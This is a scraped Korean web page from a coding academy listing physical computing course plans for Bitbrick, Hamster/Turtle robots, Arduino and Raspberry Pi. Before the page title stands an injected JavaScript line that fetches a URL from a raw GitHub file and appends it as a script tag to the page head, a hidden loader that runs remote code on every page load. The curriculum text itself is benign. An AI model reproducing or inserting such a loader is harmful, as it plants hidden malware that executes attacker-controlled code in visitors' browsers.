;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); 피지컬 컴퓨팅 – 상상톤[강코딩]

소프트웨어와 하드웨어(현실 세계)가 데이터를 통하여 대화하는 것을 말한다.

즉, 소프트웨어를 이용하여 각종 센서, 액츄에이터등을 이용하여 현실세계의 문제를 해결하는 것을 말한다.

비트브릭/햄스터
아두이노
라즈베리파이
비트브릭/햄스터

햄스터 및 터틀 교구를 이용하여 센서에 대한 사용법을 재미있게 습득할 수 있다.

또한, 파이썬 및 스크래치와 현실세계의 대화를 비트브릭을 통하여 체험 할 수 있다.

비트브릭 강의 계획

1강 : 비트브릭과 친해지기

2강 : 절전형 LED등 만들기

3강 : 비트캣 LED등 만들기

4강 : 비트카 운전 연습하기

5강 : 노래하는 오르골 만들기

6강 : 감정을 표현하는 비트캣

7강 : 비트카 장애물 피하기

8강 : 라인트레이서 만들기

9강 : 내 친구 알파비트 만들기

10강 : 스마트홈 만들기

11강 : 그래픽 이퀄라이저 만들기

12강 : 프랙탈 만들기

13강 : 미디어 아트 제작하기

햄스터 및 터틀 강의 계획

1강 : 밑판 이용하여 이동하기

2강 : 이동하고 회전하기 및 라인 개수 확인하기

3강 : LED 켜고 소리켜기

4강 : 근접 센서 이용하기 및 미로찾기

5강 : 바닥 센서 이용하기 및 라인트레이서

6강 : 조도 및 가속도 센서

7강 : 물건 이동하기

8강 : 도형 그리기

아두이노

아두이노는 코딩 경험이 없는 초심자들이라도 쉽게 사용할 수 있는 오픈소스 플랫폼이다.

센서, 모터, 디스플레이등 다양한 전자 소자들을 아두이노와 연결하여 쉽게 제어할 수 있어, 쉽고 재미있게 코딩의 세계에 입문을 도울 수 있다.

1강 : 아두이노 둘러보기

2강 : LED 프로젝트

3강 : 센서 및 빛 프로젝트

4강 : 소리 프로젝트

5강 : 다양한 프로젝트

6강 : 우리만의 프로젝트 만들기

라즈베리파이

라즈베리파이는 파이썬 교육용 프로젝트의 일환으로 개발되었습니다.

아두이노와 함께 소수의 전문 엔지니어들만의 영역이었던 개발 보드의 저가화 대중화의 시대를 연 주역이라 할 수 있습니다.

1강 : 라지베리파이 개요

2강 : 전자 회로 공작의 기본 

3강 : LED와 스위치, 모터 돌리기

4강 : 카메라를 이용한 얼굴 인식

5강 : SPI 및 I2C 통신

6강 : 우리들만의 프로젝트 만들기